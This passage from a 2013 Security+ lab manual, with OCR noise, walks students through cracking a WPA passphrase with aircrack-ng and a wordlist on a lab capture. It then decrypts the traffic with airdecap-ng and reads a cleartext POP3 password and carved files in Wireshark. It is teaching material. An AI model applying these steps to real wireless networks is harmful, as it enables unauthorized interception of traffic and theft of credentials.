4 8 obj

<</Filter/FlateDecode/Length 3507>>

stream

X..[.r.F.W....@86.b....*Y..5..¥)..$.. IT.HBRv.../....3C..8..2.0%......... px8 r
[Ce— >

| Entire conversation (2069076 bytes) v

| Find I Save As I Print |Q ASCII ) EBCDIC ) Hex Dump ) C Arrays © Raw

Help | Filter Out This Stream | | Close |

Figure 37: The Follow TCP Stream Window
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17. For the name of the file, put 16.pdf. Make sure the Save in Folder is Lab10.

* Wireshark: Save Follow Stream As

Name: [16.pdf ]

Save in folder: |_1Lab10 r|

+| Browse for other folders

Cancel || Save |

Figure 38: Saving the PDF file From the TCP Stream

18. To view the file, click Places from the Linux Menu Bar and select Home Folder.
Double-click on the Lab 10 folder, then double-click on the open folder. Open
16.pdf.

BEroot Lablo || © ¥ * Xpdf: /root/Lab10/16.pdf

CSSTA

-

CompTIA Security+® Lab Series

Lab 16: General Cryptography Concepts

=

Figure 39: Opening the Zip File and Viewing the Pictures.

19. Close the PDF file and all of the windows you have open (Wireshark, terminal,
etc.).

3.2 Conclusion

Wired Equivalent Privacy, or WEP, encrypts traffic and protects your wireless network
from people monitoring wireless networks using a Wi-Fi card in monitor mode. If an
attacker is able to get the WEP key by generating enough Initialization Vectors, or IVs,
they can decrypt the traffic using airdecap-ng. Traffic can then be viewed and analyzed.

3.3 Discussion Questions

What filter might allow you to view plain text users and passwords in clear text?
What is the name of the tool that can be utilized to decrypt WEP traffic?

What is the tool that allowed you to obtain the HEX WEP key?

How can you identify the decrypted capture file after decrypting WEP traffic?

b A
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4 Cracking and Examining WPA Traffic

Wi-Fi Protected Access, or WPA, and WPA2 are much more secure than WEP encryption.
An attacker can break WEP, regardless of what WEP key is used, if they are able to
generate enough Initiation Vectors (IVs). Wi-Fi Protected Access (WPA) and WPA2 are
more secure but it also is vulnerable to being hacked if a weak passphrase, like a
dictionary word, is used. A good passphrase should be at least 16 characters long, use
uppercase, lowercase, and special characters. Avoid the use of dictionary words.

In order to break the WPA passphrase, you need the following items:

e The SSID (Service Set Identifier), or name, of the wireless network
e A WPA handshake
e Adictionary file

The SSID of our target wireless network is WPACEH. In order to get a WPA handshake,
the attacker must have a wireless card that supports monitor mode and needs to
perform a de-authentication attack, which will remove a client from the Access Point
(AP) for less than a second. The attacker will also need a dictionary file. In order for the
attacker to obtain the WPA passphrase, the phrase must be in the dictionary file.

4.1 Using Wireshark to Crack and Examine WPA Traffic

1. Inthe terminal window, type the following commands:
root@bt:~/Lab10# aircrack-ng lab1l0wpa.cap -w /root/Wordlist.txt
2. Select 3 for the target network. Notice that there is 1 WPA handshake.

:~/Labl0# aircrack-ng lablOwpa.cap -w /root/Wordlist.txt
Opening lablOwpa.cap
Read 102787 packets.

# BSSID ESSID Encryption

00:17:59:1A:E2:F0 CCBC-Guests Nene (10.254.1.104)
00:17:59:1A:E2:F3 No data - WEP or WPA
00:1C:10:BC:9F:7B WPACEH WPA (1 handshake)
00:17:59:1A:E2:F1 CCBC-Faculty Staff WEP (1 IVs)
00:17:59:1A:E2:F2 CCBC-Student None (10.254.1.86)
AA:FA:D8:12:C4:37 Unknown
00:17:59:1B:2F:60 None (0.0.
D4:D7:48:0D:B3:C0O Nong (0.0.
12:40:F3:89781:78 Urknown
00:7F:28:26:84:5D No data - ‘WEP or WPA
0C:85:25:32:B4:80 None (0.0707.0)
00:17:5A:1E:7F:90 Unknown

1
2
3
4
5
)
7
8

0)
0

0.
0.0)

Index number of target network ? 3

Figure 40: Selecting the Target Network Using WPA
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The passphrase, blackmail will appear after a short time. The file was cracked because
it existed in the Wordlist.txt file.

Do not use dictionary words for WPA passphrases.

Aircrack-ng 1.1 r2178

25] 23208 keys tested(906.80

KEY FOUND! [ blackmail |

Master Key - DB B7 77 85 97
29 CE 2A 8E C8

Transient Key : Al CO 70 F7 65
A7_AD F9 89 32
61 9648857 /9
ED D7 D& CA 6E

EAPOL HMAC - AE 53 F7 0C 5D

Figure 41: The WPA Passphrase

Now that the WPA passphrase has been obtained, we can decrypt the traffic for the
wireless network WPACEH. In order to do this, the SSID must be specified.

2. From the terminal, type the following command to decrypt the traffic:
root@bt:~/Lab10# airdecap-ng labl0wpa.cap —e WPACEH —p blackmail

:~/Labl0# airdecap-ng lablOwpa.cap -e WPACEH -p blackmail
Total number of packets read 102787
Total number of WEP data packets 12
Total number of WPA data packets 17447

Number of plaintext data packets 12030
Number of decrypted WEP packets
Number of corrupted WEP packets
Number of decrypted WPA packets

Figure 42: The WPA Packets are Decrypted

The number of decrypted WPA packets should be 7835. Now, we will be able to analyze
TCP/IP traffic as well as carve files from the decrypted capture file.
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3. Type the following to list all of the files and folders within the lab2 directory:
root@bt:~/Lab10# Is

~/Labl0# 1s

16.pdf labl@open.cap lablOwep-dec.cap lablOwpa-dec.cap wep
|1.pdf lablOwep.cap 1lablOwpa.cap open

Figure 43: Decrypted WPA Capture File

Note: the lab10wpa-dec file was created when you ran the airdecap-ng program.

4. Type the following command to open the decrypted file with Wireshark:
root@bt:~/Lab10# wireshark labl10wpa-dec.cap

:~/Labl0# wireshark lablOwpa-dec.cap

* lablOwpa-dec.cap [Wireshark 1.8.1 (SVN Rev Unknown from
File Edit View Go Capture Analyze Statistics Telephony Tools Intemals Help

B oSl L B8 = A

Filter: ' v | Expression...

No. Time Source Destination Protocol

1 0.000000 Cisco-Li bc:9f:7b Alfa 57:68:64

2 0.981701 Alfa 57:68:64 Cisco-Li bc:9f:7b EAPOL
3 5.688715 0.0.0.0 255.255.255.255 DHCP
4 7.761932 0.0.0.0 255.255.255.255 DHCP
5 7.886348 Alfa 57:68:64 Broadcast ARP
b 8.001548 Alfa 57:68:64 Broadcast ARP
7 8.001536 Cisco-Li bc:9f:79 Alfa 57:68:64 ARP
8 8.005644 192.168.1.106 192.168.1.1 ICMP
9 8.006656 192.168.1.1 192.168.1.1606 ICMP
10 8.719436 Alfa 57:68:64 Broadcast ARP
11 9.0008524 192.168.1.106 192.168.1.1 ICMP
12 9.888512 192.168.1.1 192.168.1.106 ICMP

Figure 44: The Newly Created WEP1-dec Capture File
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5. In order to view post office protocol traffic, type pop in the Wireshark filter pane
and click Apply. You can view usernames and passwords in clear text.

| e owsn oo we |

No. Time Source Destination Protocol Length Info
1307 332.727617 192.168.1.105 192.168.1.107 poP 152 S: +0K Microsoft Exchange Server 2003 POP3
1368 332.730700 192.168.1.107 192.168.1.165 POP 68 C: USER rmiller
1369 332.757313 192.168.1.185 192.168.1.167 POP 59 5: +0K
1310 332.763469 192.168.1.107 192.168.1.165 PoP 70 C: PASS PACERS123
1311 332.820288 192.168.1.105 192.168.1.187 POP 88 5: +0K User successtully logged on.
1312 332.825932 192.168.1.107 192.168.1.105 POP 60 C: STAT
1313 332.868416 192.168.1.105 192.168.1.107 POP 65 5: +0K 1 734

Figure 45: Saving an HTTP Object Parsed from Wireshark

6. Right-click on frame 1307 and select Follow TCP Stream. Read the email. Click
Close.

x Follow TCP Stream

Stream Content

From: “"sperkins" <sperkins@XYZCOMPANY.COM= A
To: =<rmiller@XYZCOMPANY .COM>

Subject: hello

Date: Mon, 25 Feb 2013 16:22:88 -8580

MIME-Version: 1.8

Content-Type: text/plain;

.charset="1is0-8859-1"

Content-Transfer-Encoding: 7bit

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.06.3790.8

X-MimeOLE: Produced By Microsoft MimeOLE V6.88.3796.0

Return-Path: sperkins@XYZCOMPANY.COM

X-OriginalArrivalTime: 25 Feb 2013 21:22:08.0655 (UTC) FILETIME=[2AF171F@:01CE139E]

jhat college did you play for?
-Sam

DELE 1

+0K

QUIT

+0K Microsoft Exchange Server 2083 POP3 server version 6.5.6944.0 signing off.

| Entire conversation (1060 bytes) v ‘ ]

| Find ” Save As H Print |O AsCll O EBCDIC O Hex Dump O C Ammays O Raw

Help Filter Out This Stream ‘ l Close I

Figure 46: Saving an HTTP Object Parsed from Wireshark

7/18/2013 Copyright © 2013 NISGTC Page 28 of 33



Lab 10: Breaking WEP and WPA Encryption

7. Clear the ftp filter. From the Wireshark menu, select File, Export, Objects, HTTP.

Export Objects

. estination

"' 927168.1.107
92.168.1.165
92.168.1.167
92.168.1.165
92.168.1.167
92.168.1.107

92.168.1.1685

SUblo> 168.1.165

92.168.1.187

Figure 47: Saving an HTTP Object Parsed from Wireshark

8. Click the Save All button in the lower right hand side of the HTTP object list.

7/18/2013

>

Wireshark: HTTP object list

Packet num Hostname Content Type Bytes | Filename
185 google.com text/html 219 !
211 www.google.com text/html 59227 |/
219 www.google.com image/png 1834 chrome-48.png
277 www.google.com image/png 35615 nav_logo80.png
280 www.google.com image/png 331 mgyhp_sm.png
285 ssl.gstatic.com 1430 b 8d5afc09.png
286 ssl.gstatic.com 1430 b_8d5afc09.png
288 ssl.gstatic.com 73 b_8ds5afc09.png
297 www.google.com imagefx-icon 5430 favicon.ico
330 ssl.gstatic.com textfjavascript 48417 sem_32b2c293468548683a6cf3ccc2a4dd0?.js
395 www.google.com textyjavascript 155378 rs=AItRSTMuB0gaiyKy)disPG-EUyTMeTbaOw
434 www.google.com text/htmi 56979 imghp?hl=en&tab=wi
446 www.google.com image/gif 8561 images_logo_lg.gif
519 www.google.com textyjavascript 161356 rs=AItRSTORVFAb4tDIUdEQFOL47SVK]3yMmw
539 clientsl.google.com text/javascript 545 search?client=imgé&hl=en&gs_m=0&gs_ri=imgé&ds4
541 clientsl.google.com text/javascript 573 search?client=imgé&hl=en&gs_m=08&gs_ri=imgé&ds4
546 clientsl.google.com text/javascript 558 search?client=imgé&hl=en&gs_m=0&gs_ri=imgé&ds4
548 clientsl.google.com text/javascript 545 search?client=imgé&hl=en&gs_m=0&gs_ri=imgé&ds4
550 clientsl.google.com text/javascript 545 search?client=img&hl=en&gs_m=08&gs_ri=imgé&ds4

Help

-

| Save As || Save All | Cancel I

Figure 48: Saving an HTTP Object Parsed from Wireshark
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9. Inthe Name box, type wpa and click OK. If you receive another message, Click
OK to some files cannot be saved.

| % Wireshark: Save All Objects In ...

Name: [wpa ]

Create in folder: | aiLablo

+| Browse for other folders

Figure 49: Saving HTTP Objects Parsed from Wireshark

10. To view the file, click Places from the Linux Menu Bar and select Home Folder.
Double-click on the Lab 10 folder, and then double-click on the wpa folder. You

will see pictures of Legos.

< P2 root Lablo

<HTML <!doc
<TITL winda

|The d i)
%2f %2f(1) b_8d5afc09.png
PNG PNG ‘.
b_8d5afc09(1).png b_8d5afc09(2).png chrome-48.png

A

- N
~ =

favicon.ico images%3fg=tbn% images%3fg=tbn%
3aANd9GcQ7SUIOU 3aANd9GcQbm4BcC_
FHvgOTWSiqgcGhW... ofBsNOd6ADTbVC...

images%3fq=tbn% images%3fg=tbn% images%3fg=tbn%

Figure 50: The Pictures Carved From Wireshark

11. Close the open picture folder and close the Wireshark HTTP object list.
12. To pull a PDF file transferred via FTP out of the wireless capture file, type the
following filter into Wireshark and hit Apply: frame contains PDF
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13. Right-click on frame 1792 in the list and select Follow TCP Stream.

“frﬂme contains PDF

No. Time Source

1792 473.161792 192.168.1.185
1822 473.354816 192.168.1.185
1825 473.355328 192.168.1.185
1828 473.363520 192.168.1.1805
1830 473.378880 192.168.1.105
1831 473.379392 192.168.1.185
1832 473.379392 192.168.1.185
1833 473.380416 192.168.1.185
1837 473.394240 192.168.1.185
1838 473.3942460 192.168.1.1805
1848 473.410113 192.168.1.1805
1841 473.416113 192.168.1.185
1842 473.410625 192.168.1.1805

+| Frame 1792: 1514 bytes on wire |

L - _a ww - AT L F L Fro e

Figure 51: Following the TCP Stream

14. In the Follow the TCP Stream pane, click the Save As button.

* Follow TCP Stream

Stream Content
EPDF-1.5
£

1 8 obj ul
l<</Type/Catalog/Pages 2 © R/Lang(en-US) /StructTreeRoot 559 @ R/MarkInfo<</Marked
true====

endobj

2 8 obj

=</Type/Pages/Count 38/Kids[ 3 @ R 22 @ R 25 @R 27O R 290 R310R330R 340 R 37
O R 380R390R40 0 R 41 0 R 42 @ R 45 0 R 48 B R 49 9 R 50 @ R 51 @ R 52 0 R 53 @
RS54 @R570RG60 OBRG61LORG62ZORGBIORG4OREGBS ORE8 O R] >

endobj

3 © obj

<</Type/Page/Parent 2 @ R/Resources<</Font<</F1 5 @ R/F2 7 ® R/F3 10 @ R/F4 12 ® R/F5
18 ®@ R>>/X0bject<</Image? 9 ©® R/Image2@ 20 ©® R/Image2l 21 © R>>/ProcSet[/PDF/Text/
ImageB/ImageC/Imagel] ==/Annots[ 17 @ R] /MediaBox[ ® @ 612 792] /Contents 4 8 R/
Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents @=>

endobj

4 8 obj

=</Filter/FlateDecode/Length 3271=>>

stream

%x..[Ks..... J.a.d...=..R........ i7... ....@....G..7..0@8..@AZ. .rY¥$..~.T=...... d.%={.v]

V.. l=a..... A monon vZd.tt. oW Wlennnan d..TI. r
—————— e >

| Entire conversation (1539320 bytes) v |

| Find || Save As || Print |O ASCII O EBCDIC ' Hex Dump ) C Arrays © Raw

Help Filter Out This Stream | | Close |

Figure 52: The Follow TCP Stream Window
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15. For the name of the file, put 10.pdf. Make sure the Save in Folder is Lab10.

| x Wireshark: Save Follow Stream As

Name: llo.pdﬂ ]

Save in folder: |_i'Lab10 v |

+| Browse for other folders

| Cancel |‘ Save ‘

Figure 53: Saving the PDF file From the TCP Stream

16. To view the file, click Places from the Linux Menu Bar and select Home Folder.
Double-click on the Lab 10 folder, and then double-click on the open folder.
Double-click to open 10.PDF.

< [@root Labl0

X Xpdf: /root/Lab10/10.pdf

open - CompTIA Security+" Lab Series

EJ . Lab 10: Mitigation and Deterrent Techniques
Lpdf [10.pf) Anti-Forensic

Figure 54: Opening the Zip File and Viewing the Pictures.

4.2 Conclusion

Although Wi-Fi Protected Access (WPA/WPA?2) offers far superior security to that of its
older counterpart Wired Equivalent Privacy (WEP), it also has some security risks
associated with its use. If the user selects a weak passphrase, an attacker can try to
obtain the password by performing a dictionary attack with aircrack-ng.

4.3 Discussion Questions
1. What is required in order to perform a dictionary attack against a WPA capture?
2. What tool is utilized to decrypt WPA traffic?
3. What two things are required to decrypt WPA traffic with airdecap-ng?
4. What can be done to avoid becoming a victim of a WPA dictionary attack?
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